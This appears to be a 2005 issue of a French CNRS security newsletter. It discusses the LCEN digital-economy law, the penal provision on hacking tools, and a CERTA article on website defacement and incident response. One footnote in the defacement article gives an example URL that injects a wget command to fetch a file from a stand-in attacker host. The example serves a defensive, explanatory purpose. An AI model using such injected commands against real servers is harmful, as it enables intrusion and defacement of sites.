

- *Éditorial* par **J. Illand**
- *Application de la LCEN* par **F. Celen et L. Lomme**
- *Le point de vue d'une juriste* par **M. Barrel**
- *Le point de vue d'un RSSI* par **F. Ollive**
- *La défiguration des sites Web* par **G. André**

## éditorial

**LCEN: outil ou entrave?**

Dès sa parution, le 22 juin 2004, la nouvelle Loi sur la Confiance en l'Économie Numérique (LCEN) a fait l'objet de nombreuses exégèses, *Sécurité Informatique* s'inscrit dans cette démarche en consacrant le présent numéro à cette loi, avec le recul d'un peu plus d'une année d'existence.

Après un rappel des principales dispositions de la loi présenté par Florence Celen et Laurence Lomme du CNRS, *Sécurité Informatique* présente le point de vue d'une juriste: Marie Barel, expert juridique TIC et Sécurité de l'information, ainsi que le point de vue d'un Responsable de la Sécurité des Systèmes d'Information (RSSI), par la plume de Franck Ollive de l'Université de Cergy-Pontoise.

Sur un thème différent, *Sécurité Informatique* propose *in fine* un article de Gilles André du CERTA consacré à un type d'attaque particulier qui est celui de la défiguration des sites Web.

La LCEN a pour objectif de faciliter le développement d'Internet et de clarifier les rôles et responsabilités des intervenants professionnels. Des avancées conceptuelles sont indéniables en matière de communication par voie électronique, de commerce électronique, de définition de responsabilité des éditeurs et des hébergeurs, et dans l'affichage du principe de l'opt'in pour la prospection par courrier électronique. On retiendra également la libéralisation de l'utilisation de la cryptographie.

Mais beaucoup d'interrogations émises l'an dernier subsistent: efficacité réelle des règles relatives à la prospection directe par courrier électronique dans la lutte contre les spams, renvoi vers la jurisprudence pour clarifier le débat sur le statut privé ou non des courriers électroniques, conduite à tenir par les hébergeurs lorsqu'on leur signale, à tort ou à raison, des contenus illicites. Sur ce point, la jurisprudence commence à livrer quelques indications (jugements du TGI de Paris des 15 novembre 2004 et 13 juin 2005).

On peut comprendre l'inquiétude des organisations qui, comme le CNRS, ont des responsabilités d'éditeurs et d'hébergeurs et s'interrogent sur les risques de responsabilité civile, pénale, voire sociale (impact sur les relations sociales internes) qui y sont associés.

L'introduction dans le code pénal de l'article 323-3-1 (*cf.* l'article de Marie Barel) induit-il des effets pervers majeurs entravant toute velléité de tester les failles des systèmes, en l'attente de savoir ce que recouvre réellement le concept de «motif légitime»?

On retiendra que la LCEN place le RSSI au cœur des enjeux, ce qui satisfait Franck Ollive. Les implications juridiques de la LCEN, à défaut de donner un statut légal au RSSI, imposent que son rôle, sa fonction et ses responsabilités soient clairement définis et affichés, en même temps que soient précisées, en toute transparence, les règles que se fixe l'entreprise en matière de politique éditoriale, d'hébergement, de cybersurveillance, de certificats électroniques et de cryptologie... Le métier de RSSI a encore de beaux jours devant lui.

**Joseph Illand**

Fonctionnaire de Sécurité de Défense

## Application de la Loi sur la Confiance dans l'Économie Numérique au CNRS

par **Florence Celen**

Juriste-CNRS/DSI

et **Laurence Lomme**

Chargée de l'administration électronique-CNRS/BPC

*L'apport fondamental de la LCEN consiste en un corps de règles qui encadrent l'économie numérique pour permettre le plein développement des usages d'Internet en France. Elle est complétée par des démarches spécifiques d'autorégulation pour les divers intervenants professionnels de l'Internet: éditeurs, fournisseurs d'accès et d'hébergement, «cyber-commerçants», prestataires de services de cryptologie et de signature électronique.*

### ... Des nouvelles notions spécifiques à l'Internet

L'article 1<sup>er</sup> de la LCEN introduit la nouvelle notion de «**communication au public par voie électronique**» qui se définit comme la «*mise à disposition du public ou de catégorie de public, par un procédé de communication électronique, de signes, de signaux, d'écrits, d'images, de sons ou de messages de toute nature qui n'ont pas le caractère de correspondance privée*». Elle se subdivise en deux catégories: «**la communication audiovisuelle**», régie par la loi du 30 septembre 1986 qui s'applique dorénavant aux services de l'Internet, et «**la communication au public en ligne**», régie par les nouvelles dispositions de la LCEN.

L'article 1<sup>er</sup> définit également le **courrier électronique** comme tout message sous forme de texte, de voix, de son ou d'image envoyé par un réseau public de communication, stocké sur un serveur du réseau ou dans l'équipement terminal du destinataire, jusqu'à ce que ce dernier le récupère.

### L'incidence de la LCEN sur les activités du CNRS

Identifier les différentes missions exercées par le CNRS et ses entités dans le cadre de l'Internet permet *..... suite page 2* ➔

de distinguer différentes obligations et responsabilités qui s'imposent à l'établissement. Ainsi, le CNRS peut être : « éditeur » de contenus en ligne ; « hébergeur » de sites Internet ; « cyber-prestataire » de biens ou de services par Internet ; destinataire de prospections directes par courrier électronique.

À noter que les règles adoptées au CNRS s'appliquent à des activités similaires exercées par toute personne physique ou morale.

## Quelles obligations pour le CNRS « éditeur » de contenus en ligne ?

### A - L'obligation d'accessibilité des services de communication publique en ligne.

Conformément à l'article 3 de la LCEN, le CNRS doit veiller à ce que l'accès et l'usage des nouvelles technologies de l'information permettent à ses agents et personnels handicapés d'exercer leurs missions.

L'obligation d'accessibilité aux sites Internet publics est étendue aux personnes handicapées, qu'elles soient utilisateurs internes ou externes, par la loi du 11 février 2005 relative à l'égalité des droits et des chances, la participation et la citoyenneté des personnes handicapées.

L'accessibilité du Web, c'est, par exemple : la possibilité pour les personnes non voyantes d'utiliser un logiciel qui permet de convertir le texte des sites en synthèse vocale.

Comment savoir si un site est accessible ? Un décret en Conseil d'État fixera les règles relatives à l'accessibilité et précisera, par référence aux recommandations établies par l'Agence pour le développement de l'administration électronique (ADAE), la nature des adaptations à mettre en œuvre.

Le CNRS disposera de trois ans, à compter de la publication du décret, pour réaliser l'accessibilité de ses sites.

### B - Internet a son droit de réponse.

Toute personne nommée ou désignée sur un site Internet dispose d'un droit de réponse : dans les trois mois de la diffusion du message litigieux, elle peut demander au directeur de la publication l'insertion d'un texte de rectification, qui devra être publié sur le site dans les trois jours, en respectant les règles du droit de la presse

(loi du 29 juillet 1881 sur la liberté de la presse, art. 13). Ces dispositions s'appliquent, bien sûr, aux sites du CNRS (Obligation d'indiquer un directeur de publication, cf. <http://www.cnrs.fr/compratique/aide/documents/Mentionslegales.pdf>).

**C - La LCEN étend les infractions commises par voie de presse aux services de communication au public en ligne.** Les infractions commises par voie de presse, fixées par la loi du 29 juillet 1881 (provocation aux crimes et délits, apologie des crimes de guerre, propos racistes, fausses nouvelles susceptibles de troubler l'ordre public, injures, diffamation...), sont rendues applicables aux services de communication au public en ligne (sites Web, forums de discussion, listes de discussion, chambre de discussion...).

## Quelles responsabilités pour le CNRS « hébergeur » de sites Internet ? (LCEN, arts. 6-I.2 et 6-II)

Les « hébergeurs » sont les personnes qui assurent, même à titre gratuit, via des services de communication au public en ligne, le stockage de signaux, d'écrits, d'images, de sons ou de messages de toute nature fournis par des destinataires de ces services.

**A - L'hébergeur n'a pas l'obligation de surveiller les contenus qu'il met en ligne...** mais il a l'obligation de détenir et de conserver les données de nature à permettre l'identification des éditeurs de contenus en ligne et de mettre en place, sur le site hébergé, un dispositif facilement accessible et visible de signalement des infractions suivantes : apologie des crimes contre l'humanité, incitation à la haine raciale, pornographie enfantine. Ce principe s'applique aux sites hébergés par le CNRS qui ne relèvent pas de son autorité (syndicats ou associations).

**B - L'hébergeur n'est donc pas responsable des contenus qu'il met en ligne...** sauf s'il a connaissance de leur caractère illicite. En effet, la LCEN pose le principe d'une responsabilité conditionnée par la connaissance ou non qu'a l'hébergeur du contenu illicite ou des activités illicites de l'éditeur. S'il en a eu connaissance, il

suffit qu'il ait agi promptement pour retirer les données illicites ou qu'il ait rendu leur accès impossible, pour que sa responsabilité ne soit pas engagée. *A contrario*, il suffit de prouver que l'hébergeur avait connaissance du contenu illicite ou de faits ou de circonstances faisant apparaître le caractère illicite pour que sa responsabilité soit reconnue.

**C - Attention ! L'hébergeur est responsable des contenus créés par des personnes agissant sous son autorité ou son contrôle.** Le CNRS hébergeant des pages Internet au contenu illicite, créées par des personnels ou des entités relevant de son autorité ou de son contrôle, ne pourra s'exonérer de sa responsabilité en invoquant qu'il n'a pas connaissance des informations litigieuses qu'il met en ligne. Cela implique pour l'établissement une obligation de surveillance.

## Quelles obligations/ responsabilités pour le CNRS « cyber-prestataire » de biens ou de services ?

### A - Les contrats conclus sous forme électronique (art. 25).

**1) Validité juridique de l'acte électronique**

L'article 25-I complète l'article 1108 du Code civil par un nouvel article 1108-1 qui permet, lorsqu'un écrit est exigé pour la validité d'un acte juridique, d'établir et de conserver cet écrit sous forme électronique dans les conditions introduites dans le Code civil par la loi du 13 mars 2000 sur la signature électronique. Il faut notamment que l'écrit permette d'identifier la personne dont il émane et qu'il soit établi et conservé dans des conditions de nature à en garantir l'intégrité.

L'article 1108-1 est complété par l'ordonnance n° 2005-674 du 16 juin 2005, relative à l'accomplissement de certaines formalités contractuelles par voie électronique. Ce texte précise les conditions d'usage du courrier électronique en matière contractuelle et ses implications sur le terrain de la preuve.

**2) Conditions de validité d'un contrat conclu sous forme électronique**

- *Champ d'application*

Les nouveaux articles 1369-1 à 1369-3 insérés dans le Code

... suite page 3 →

civil par la LCEN, devenus respectivement, via l'ordonnance précitée: articles 1369-4 à 1369-6, s'appliquent aux contrats de fourniture de biens ou de services conclus à titre professionnel par voie électronique à titre onéreux ou gratuit. Le CNRS est soumis à ces dispositions, par exemple, dans le cas où il propose des logiciels en téléchargement sur ses sites Internet.

#### – Contenu des articles 1369-4 à 1369-6 du Code civil

Le processus de contractualisation électronique devra s'effectuer en deux étapes (deux clics) afin d'éviter les conséquences de mauvaises manipulations des internautes. Ce principe ne s'applique pas pour les contrats conclus exclusivement par échange de courriers électroniques et il est possible d'y déroger également dans les relations entre professionnels.

### B – Les moyens et prestations de cryptologie

L'utilisation des moyens de cryptologie est libre. La LCEN définit les moyens de cryptologie comme tout matériel ou logiciel dont l'objet est d'assurer la confidentialité des données, leur authentification ou le contrôle de leur intégrité.

Les prestations de cryptologie sont libres au sein de la Communauté européenne et pour une utilisation à seule fin d'authentification et de contrôle, c'est-à-dire dans le cadre de la signature électronique (art. 30). Les autres usages de la cryptologie sont soumis à déclarations préalables dont les modalités seront fixées

par décret en Conseil d'État. La fourniture de prestations de cryptologie doit être également déclarée (art. 31). Un décret en Conseil d'État fixera les conditions et les exceptions à cette déclaration.

Sauf à démontrer qu'ils n'ont commis « aucune faute intentionnelle ou négligence », les prestataires de services de cryptologie, même à titre gratuit (art. 32) et les prestataires de services de certification électronique (art. 33) sont responsables des préjudices causés aux personnes.

### C – Les obligations spécifiques au commerce électronique

Le CNRS est un « cyber-commerçant » dès lors qu'il réalise une activité économique par voie électronique.

1) Qu'est-ce que l'activité économique? C'est le processus qui conduit à la fabrication d'un produit ou à la mise à disposition d'un service ouvert vers l'extérieur.

2) Qu'est-ce que le commerce électronique? C'est l'« activité économique par laquelle une personne propose ou assure à distance et par voie électronique la fourniture de biens ou de services » à titre onéreux ou gratuit (art. 14). La loi précise qu'« entrent également dans le champ du commerce électronique les services tels que ceux consistant à fournir des informations en ligne (...), des outils de recherche, d'accès et de récupération de données (...) d'hébergement d'informations, y compris lorsqu'ils ne sont pas rémunérés par ceux qui les reçoivent ». Dans ces cas, le corpus de règles induit par cette activité s'applique CNRS.

NB: les entités CNRS ne sont pas considérées comme clientes. L'utilisation d'un logiciel pour les besoins d'une activité de formation par exemple ou plus largement à des fins professionnelles au sein du CNRS ne relève pas d'une activité de commerce électronique.

3) Quelles obligations pour le CNRS en matière de commerce électronique?

#### – L'obligation d'information

Une entité du CNRS réalisant une activité de commerce électronique est tenue de mettre à la disposition des destinataires des produits ou services certaines informations relatives:

- à son identité: pour une personne morale, sa raison sociale, l'adresse où elle est établie, son adresse de courrier électronique, son numéro de téléphone et l'adresse de son siège social (art. 19);

- ses conditions contractuelles: étapes à suivre pour conclure le contrat par voie électronique, les langues proposées pour la conclusion du contrat... (arts. 1369-4 à 1369-6, Code civil).

#### – La responsabilité de plein droit du CNRS « cyber-commerçant »

La LCEN (art. 15) introduit un nouveau régime de responsabilité pour les vendeurs à distance: le CNRS, dans l'exercice d'une activité de commerce électronique, est responsable de plein droit à l'égard du consommateur de la bonne exécution des obligations résultant du contrat conclu, que ces obligations soient à exécuter par le professionnel qui a conclu ce contrat ou par d'autres prestataires de services, sans préjudice de son droit de recours contre ceux-ci. Si les prestations ne sont pas exécutées ou mal exécutées, sa responsabilité est engagée sans qu'il y ait à prouver une faute dans l'exécution des obligations nées du contrat.

Toutefois, le CNRS peut s'exonérer de tout ou partie de sa responsabilité en apportant la preuve que l'inexécution ou la mauvaise exécution du contrat est imputable: soit au consommateur; soit au fait, imprévisible et insurmontable, d'un tiers au contrat; soit à un cas de force majeure.

### Quelles sont les règles en matière de prospection directe par courrier électronique?

Par **prospection directe** on entend « tout message destiné à promouvoir, directement ou indirectement, des biens, des services ou l'image d'une personne vendant des biens ou fournissant des services » (art. 22).

Le « **spamming** » est défini par la CNIL comme « l'envoi massif, et parfois répété, de courriers électroniques non sollicités à des personnes avec lesquelles l'expéditeur n'a jamais eu de contact et dont il a capté l'adresse électronique de façon irrégulière ».

Répondant à un objectif de protection du consommateur et des données personnelles le concernant, la loi modifie l'article L. 121-20-5 du code de la consommation. Ces dispositions ont des incidences sur l'ensemble des annonceurs désireux de faire de la

### ■ Références

Loi du 29-07-1881 sur la liberté de la presse  
Loi n° 78-17 du 06-01-1978 relative à l'informatique, aux fichiers et aux libertés (JO du 07-01-1978)

Loi n° 86-1067 du 30-09-1986 modifiée relative à la liberté de communication (JO du 01-10-1986)

Loi n° 2004-575 du 21-06-2004 pour la confiance dans l'économie numérique (JO du 22-06-2004)

Loi n° 2005-102 du 11-02-2005 relative à l'égalité des droits et des chances, la participation et la citoyenneté des personnes handicapées (JO du 12-02-2005)

Ordonnance n° 2005-674 du 16/06/2005 relative à l'accomplissement de certaines formalités contractuelles par voie électronique (JO du 17-06-2005).

# Le point de vue d'une juriste...

**Marie Barel**

Expert juridique TIC et Sécurité de l'information

## L'article 323-3-1 nouveau du Code pénal

*Le nouvel article 323-3-1 du Code pénal, adopté dans le cadre de la LCEN le 21 juin 2004, concentre beaucoup d'inquiétudes au sein de la communauté des chercheurs et des professionnels de la sécurité informatique. En effet, cette nouvelle disposition, dont les promoteurs argumentent qu'elle a été rédigée pour mieux appréhender les auteurs de virus informatiques, est perçue comme une épée de Damoclès qui menace la politique de sécurité par la transparence (full disclosure) en France. Qu'en est-il en réalité ?*

L'article 323-3-1, rappelons-le, tend à incriminer « *le fait, sans motif légitime, d'importer, de détenir, d'offrir, de céder ou de mettre à disposition un équipement, un instrument, un programme informatique ou toute donnée conçus ou spécialement adaptés pour commettre une ou plusieurs des infractions prévues par les articles 323-1 à 323-3 (du code pénal)* ».

Dans la panoplie ainsi visée, il est permis de penser que l'on puisse englober des outils « mixtes » tels que les sniffers réseau (ex. *tcpdump*, *ethereal*), les scanners de port (ex. *nmap*), les scanners de vulnérabilités (ex. *Nessus*) ou les logiciels de prise de contrôle à distance (ex. *vnc*). Or, comme chacun sait, la plupart de ces dispositifs peuvent être présents aussi bien dans la trousse à outils du pirate que dans celle du professionnel mandaté pour conduire des tests intrusifs...

De plus, le lecteur l'aura remarqué, l'article 323-3-1 vise aussi bien des faits de fourniture que de simple détention des supposés moyens de piratage, ce qui représente un champ d'application très vaste permettant la répression de l'ensemble des « attitudes d'amont » pour interdire des actes considérés comme « *potentiellement dangereux à la source* », avant même la commission des infractions principales (accès frauduleux, atteintes au système ou aux données).

Aussi, en l'absence de l'exigence de la preuve d'une intention spécifique, d'une part<sup>1</sup>, et suite à la suppression de l'alinéa 2 (présent dans la mouture initiale du texte), d'autre part, – cet alinéa prévoyait que les actes incriminés pouvaient être justifiés « *par les besoins de la recherche scientifique et technique ou de la protection et de la sécurité des réseaux de communications électroniques et des systèmes d'information* » –, il est aisé de comprendre la perplexité et la circonspection des professionnels de la sécurité face à cette nouvelle disposition du Code pénal.

En définitive, tout l'équilibre du dispositif repose sur la notion de « motif légitime », dont le juge aura à apprécier librement pour faire la part du bon grain de l'ivraie. Pour l'aider dans cette tâche, différents facteurs pourront intervenir pour appuyer tantôt le point de vue de la défense tantôt celui du ministère public dans les procès mettant en cause par exemple des

publications concernant des vulnérabilités (fait qui entre sous le champ de la mise à disposition de données).

En effet, si l'article 323-3-1 n'est pas le coup d'arrêt à la politique de sécurité par la transparence, il postule cependant pour des communications plus responsables et parfois moins ambiguës autour des failles de sécurité ; la démarche idéale dans ce domaine étant que la publication ait été accomplie moyennant information préalable et collaboration avec l'éditeur et après la publication d'un correctif et d'un bulletin de sécurité par celui-ci.

S'éloignant plus ou moins de ce « processus idéal »<sup>2</sup>, les autres scénarii de divulgation comprennent différents facteurs de risques qui sont susceptibles d'agir comme autant de circonstances aggravantes ou, au contraire, de faits légitimants. S'agit-il d'une mise à disposition de données qui permettent d'exploiter directement la vulnérabilité découverte ? Quel est le niveau de détail technique de la vulnérabilité décrite ? Quel est le niveau d'expertise requis pour reproduire cette vulnérabilité ? Celle-ci concerne-t-elle un système, un environnement ou un logiciel standard, très répandu ou, au contraire, plutôt exotique et complexe ? Quel est le nombre d'utilisateurs potentiellement menacés par la divulgation de cette faille de sécurité ? Quelle est la criticité ou la sévérité de la vulnérabilité ? La publication a-t-elle été accompagnée de la mise à disposition de correctifs ou d'informations sur les mesures de contournement ou autres palliatifs à mettre en œuvre ? S'agit-il d'une publication restreinte s'appuyant sur un média de faible audience ou, au contraire, d'une communication touchant un large public ? Autant d'interrogations qui guideront, selon nous, le juge dans l'appréciation des faits et du « motif légitime » de l'auteur d'une mise à disposition litigieuse.

Au final, gageons par ailleurs que cette nouvelle disposition de l'article 323-3-1 ne sera pas utilisée comme un instrument d'intimidation contribuant à entraver les travaux de la communauté des chercheurs et des experts en sécurité, comme l'ont été, en matière de contournement de mesures techniques de protection des droits d'auteur, les dispositions du DMCA aux États-Unis (pour une illustration, voir notamment l'affaire Felten<sup>3</sup> et les menaces de poursuites judiciaires qui ont pesé sur ce professeur d'université et son équipe de chercheurs, auteurs d'un papier scientifique faisant suite à un challenge de sécurité et retenu par le comité de programme d'une conférence américaine) !

Marie.Barel@legalis.net

1. C'est-à-dire, comme l'expose le Rapport explicatif au sujet de l'article 6 de Convention sur la cybercriminalité, « une intention directe d'utiliser le dispositif litigieux pour commettre l'une ou l'autre des infractions principales » : <http://conventions.coe.int/Treaty/fr/Treaties/Html/185.htm> ; [http://www.droit-technologie.org/legislations/conseil\\_europe\\_convention\\_cybercriminalite\\_rapport\\_explicatif.pdf](http://www.droit-technologie.org/legislations/conseil_europe_convention_cybercriminalite_rapport_explicatif.pdf)

2. Sur ce sujet, lire : Jean-Baptiste Marchand, *Vulnérabilités : de la découverte à l'exploitation*, conférence présentée à Network+Interop Paris 2004 – Disponible sur :

<http://www.hsc.fr/ressources/presentations/ni04-vuln/index.html.fr>

3. [http://www.eff.org/IP/DMCA/Felten\\_v\\_RIAA/](http://www.eff.org/IP/DMCA/Felten_v_RIAA/)

# Le point de vue d'un RSSI...

**Franck Ollive**

Responsable division informatique/Université de Cergy-Pontoise

LA LCEN (Loi pour la Confiance dans l'Économie Numérique) publiée au *Journal officiel* peut être considérée comme une transposition francisée de plusieurs éléments de directives européennes. Les principales notions qu'apporte cette loi concernent des garanties sur les droits de l'expression et de la personne, la responsabilité des marchands et des hébergeurs et la réglementation sur l'utilisation et le développement d'Internet dans le domaine public.

Les établissements d'enseignement supérieur sont fortement concernés par cette loi puisqu'ils sont à la fois hébergeur de sites web et fournisseurs d'accès pour la communauté scientifique. Une lecture attentive de la loi permet de prendre conscience de l'ampleur des domaines concernés. Cependant, cet article a pour vocation de mettre en exergue quelques aspects de notre quotidien en relation avec la loi.

La lutte contre les nuisances du «spam» est évoquée. Le principe adopté par la nouvelle législation est «l'opt-in». Ce qui signifie qu'une personne doit donner au préalable son consentement avant de recevoir une offre commerciale. Cette disposition, qui apparaît fortement favorable à l'éradication du fléau, laisse entrevoir pour les administrateurs système une réduction de la veille technologique concernant la lutte antispam. Mais il faut garder à l'esprit que cette loi est valable en France et qu'Internet fait fi des frontières géographiques. Dans ces condi-

tions, il reste impératif de laisser en place le filtre antispam. Cependant, il est nécessaire d'informer les utilisateurs sur le type de filtrage mis en œuvre afin qu'aucune personne n'ait le sentiment de violation de la correspondance privée. Dans mon université les utilisateurs, qui ont fait explicitement une demande, continuent à recevoir l'ensemble des «spam» les concernant qui, de ce fait, ne sont pas pris en compte par le filtre antispam.

Un autre point évoqué par l'article 6 de la LCEN est le niveau d'engagement conséquent des fournisseurs d'accès concernant le contenu des pages hébergées dans le cas d'information attentatoire à la dignité humaine. Cette disposition qui prévoit le cas échéant des sanctions donne une contrainte supplémentaire dans la gestion quotidienne. Cela freine les velléités de mettre à disposition des personnels et des associations un espace réservé de communication. C'est le principe de prudence que nous avons appliqué.

L'article 46 de la LCEN (323-3-1 du Code pénal – cf. article de Marie Barel dans le présent numéro) stipule : «*Le fait, sans motif légitime, d'importer, de détenir, de céder, de mettre à disposition un équipement, un programme informatique ou toute donnée conçus ou spécialement adaptés pour commettre une ou plusieurs des infractions...*». Il est clair que l'expression «*motif légitime*» revêt une importance capitale. En effet, l'utilisation d'outils comme Nessus... est indispensable pour connaître l'état des mises à

niveau de sécurité du parc constituant le système informatique au sens large. Il apparaît légitime qu'un RSSI puisse récupérer et utiliser ces logiciels. Cependant, plusieurs questions sont en suspens. Est-ce qu'au regard de la loi l'administrateur système, qui n'est pas le RSSI, peut utiliser ces logiciels? Le RSSI peut-il donner des autorisations ou déposer une liste des personnels habilités pour cette utilisation? Il semble qu'au-delà de la pratique se dessine la reconnaissance du métier de RSSI. Des chartes du RSSI, de l'administrateur système... ont été élaborées par un groupe de travail mais il manque toujours une homologation au plus haut niveau. En effet, le RSSI n'apparaît pas dans les fiches métier comme tel.

En ce qui concerne la gestion des traces, la LCEN n'a pas modifié la mise en œuvre actuelle. Nous avons opté pour une centralisation des journalisations. Elles sont sauvegardées et stockées puis détruites après la durée de conservation légale.

La LCEN n'aura apporté que peu de modifications dans le fonctionnement quotidien de notre établissement. Cependant, l'intégration de l'expression «*motif légitime*» dans le texte de loi laisse transparaître une avancée conséquente sur une reconnaissance réelle du métier de RSSI et des attributions attenantes. Alors, il faudra se préoccuper de la formation des RSSI. Il n'est plus concevable d'acquiescer cette culture sur le terrain. Les techniques évoluant, la bonne volonté ne suffit plus, il faut un vrai niveau d'expertise et de compétence. Doit-on aller vers un modèle de certification à l'anglo-saxonne comme le CISM «Certified Information Security Manager» ou le CISSP «Certified Information System Security Professional»?

**Franck.Ollive@ach.u-cergy.fr**



— suite de la page 3 —

prospection commerciale par courrier électronique. La LCEN retient la notion de prospection par courrier électronique **exclusivement à des fins commerciales** à destination d'une personne physique. Ainsi, l'envoi de sollicitations commerciales par e-mail, sans l'accord préalable des intéressés est interdit par la loi (art. 22 : «Principe de l'opt'in», *Sécurité informatique* n° 53).

Selon la CNIL, «**quelle que soit la nature du message** (commerciale, politique, religieuse...) **la prospection par e-mail est irrégulière si les personnes concernées n'ont pas exprimé leur consentement à l'occasion d'un contact direct et personnel, à un usage de leur adresse électronique à de telles fins**».

La CNIL est habilitée par la LCEN pour recevoir les plaintes relatives à ces infractions.

Pour conclure, la confusion des rôles – exercés par un même

acteur (le CNRS et ses entités) pouvant être consommateur et producteur d'informations – et l'impossibilité technique d'exercer un contrôle rigoureux et systématique sur les messages mis en circulation sur le réseau rendent parfois délicate la désignation des responsables.

À cela s'ajoutent les nouvelles obligations, qui s'imposent à tout responsable de traitement informatisé de données à caractère personnel, posées par la loi «informatique et libertés» (not. art. 32 traitant des obligations d'information de la personne, incombant aux responsables de traitement, à l'occasion de la collecte de données à caractère personnel), qu'il semble important de mettre en regard avec les exigences de la LCEN.

**Florence.Celen@dsi.cnrs.fr**  
**Laurence.Lomme@cnrs-dir.fr**

# La défiguration des sites Web

Gilles André, CERTA

La défiguration (aussi appelée defacement ou barbouillage) de site Web est une attaque qui consiste à ajouter ou à modifier une page sur un site Web. Plusieurs sites où les barbouilleurs revendiquent leurs actes offrent une certaine visibilité à cette activité.

Le CERTA, depuis sa création, dans le cadre de sa mission de réponse aux incidents de sécurité, assiste les administrations victimes de telles attaques.

Le CERTA appartient à la Direction Centrale de la Sécurité des Systèmes d'Information, pôle interministériel d'expertise et d'assistance en sécurité des systèmes d'information au sein du Secrétariat Général de la Défense Nationale.

## Techniques d'attaque

Les barbouilleurs utilisent différentes techniques liées aux :

- fonctionnalités du serveur : le protocole HTTP 1.1 permet de modifier des pages avec la commande PUT. Des attaques basées sur ces techniques ne sont rendues possibles que par une mauvaise configuration du serveur et du reverse-proxy ;
- pages dynamiques d'un serveur (CGI, PHP, ASP), plus difficile à sécuriser ou à configurer qu'un serveur statique. L'utilisation de simples URLs permet de modifier les pages en lançant des commandes ou en injectant sur la base de données, des requêtes<sup>1</sup> ;
- failles de sécurité qui permettent au barbouilleur de s'introduire dans le système pour modifier des pages.

## Les outils de sécurité

La protection des systèmes d'information est traditionnellement mise en œuvre à l'aide de divers outils tels que :

- des antivirus, des antispyswares ;
- des pare-feu ;

Ces outils sont toutefois impuissants pour lutter contre une attaque sur le port 80/TCP d'un serveur Web.

## Un train peut en cacher un autre

Le CERTA a analysé en détail plusieurs attaques de ce type. L'enseignement principal retiré de ces analyses est que la défiguration n'est que la partie visible d'une attaque.

Un agresseur peut émettre une requête<sup>1</sup> pour lancer des commandes qui ouvrent

une porte dérobée, volent des mots de passe, installent des outils, etc.

Dans de nombreux cas, la défiguration est le symptôme d'attaques plus profondes, révélant plusieurs agresseurs antérieurs moins voyants.

## La communication n'est pas la sécurité

Un site Web étant souvent la vitrine d'une organisation, la défiguration dégrade son image. Le webmestre expérimenté est ainsi tenté de restituer au plus vite l'apparence officielle.

C'est à la fois naïf et dangereux.

Naïf parce que la défiguration est déjà revendiquée publiquement sur des sites Web spécialisés. Il est donc vain de cacher cette page.

Dangereux parce que restituer la page originale détruit des indices utiles si la victime souhaite :

- comprendre toute l'attaque afin d'éviter qu'elle ne se reproduise ;
- éventuellement porter plainte pour intrusion frauduleuse.

## Comment réagir ?

### ■ Prévention

Une bonne prévention consiste à avoir une bonne gestion de la sécurité : gestion du parc<sup>2</sup>, application des correctifs de sécurité, bonne configuration, filtrage (en particulier en sortie)<sup>3</sup>, contrôle d'intégrité (techniquement le meilleur moyen de détecter une défiguration), journalisation (Web, pare-feu), auditer son système, avoir une machine de secours et les documents originaux hors ligne<sup>4</sup>.

### ■ Réaction

Les délais de réaction sont considérablement réduits lorsque les webmasters lisent les journaux de connexions ou de pare-feu. Le premier réflexe en cas de découverte ou de signalement d'une défiguration devrait être de contacter un CSIRT, le

1. <http://victime.fr/index.php?commande=wget%20http://pirate.com/index.html>

2. De nombreux sites défigurés sont créés pour un événement puis oubliés.

3. Un serveur Web ne devrait pas être autorisé à surfer sur Internet.

4. Disposer d'une machine de secours et de l'original du contenu du site hors ligne ne permet pas de se prémunir contre une attaque, mais permet, en cas d'intrusion, une remise en service plus aisée.

5. Portail thématique de sécurité des systèmes d'information de l'État : <http://www.ssi.gouv.fr>

CERTA<sup>5</sup> par exemple. Cette démarche est le seul moyen d'éviter le risque de destruction d'indices pour garantir toutes les possibilités de réponses.

### ■ Sous-traitance

De nombreux sites Web sont hébergés. Le CERTA a pu constater que les hébergeurs informent rarement les victimes d'une attaque. Dans le cas d'un traitement de données personnelles, la responsabilité de la victime pourrait être engagée pour des faits dont elle n'a pas connaissance.

L'hébergement mutualisé (plusieurs sites sont hébergés sur une même machine appartenant à l'hébergeur) augmente les risques de défiguration et complique considérablement la réponse.

Le légitime respect de la confidentialité due aux autres victimes interdit l'accès aux éléments permettant de comprendre la portée de l'attaque, le problème n'est pas vraiment corrigé, d'où de fréquentes récurrences.

Enfin peu d'hébergeurs font partie du réseau des CSIRTs. Confier la réponse à l'incident à l'hébergeur expose au risque de destruction définitive d'indices. Un contrat de sous-traitance devrait donc garantir au client :

- l'accès systématique aux journaux ;
- l'information sans délais de toute attaque (le client doit seul décider de la nature des suites à donner) ;
- le droit d'accéder à la machine en cas d'incident ;
- l'hébergement mutualisé, seulement si tous les sites sur le serveur lui appartiennent ;
- un contact joignable rapidement.

[gilles.andre@certa.ssi.gouv.fr](mailto:gilles.andre@certa.ssi.gouv.fr)

## SÉCURITÉ INFORMATIQUE

numéro 54 septembre 2005

SÉCURITÉ DES SYSTÈMES D'INFORMATION

Sujets traités : tout ce qui concerne

la sécurité informatique. Gratuit.

Périodicité : 4 numéros par an.

Lectorat : toutes les formations CNRS.

Responsable de la publication :

JOSEPH ILLAND

Fonctionnaire de Sécurité de Défense

Centre national de la recherche scientifique

3, rue Michel-Ange, 75794 Paris XVI

Tél. 01 44 96 41 88

Courriel : [Joseph.Illand@cnrs-dir.fr](mailto:Joseph.Illand@cnrs-dir.fr)

<http://www.sg.cnrs.fr/fsd>

Rédactrice en chef de ce numéro :

NICOLE DAUSQUE, CNRS/UREC

ISSN 1257-8819

Commission paritaire n° 3105 ADEP

La reproduction totale ou partielle

des articles est autorisée sous réserve

de mention d'origine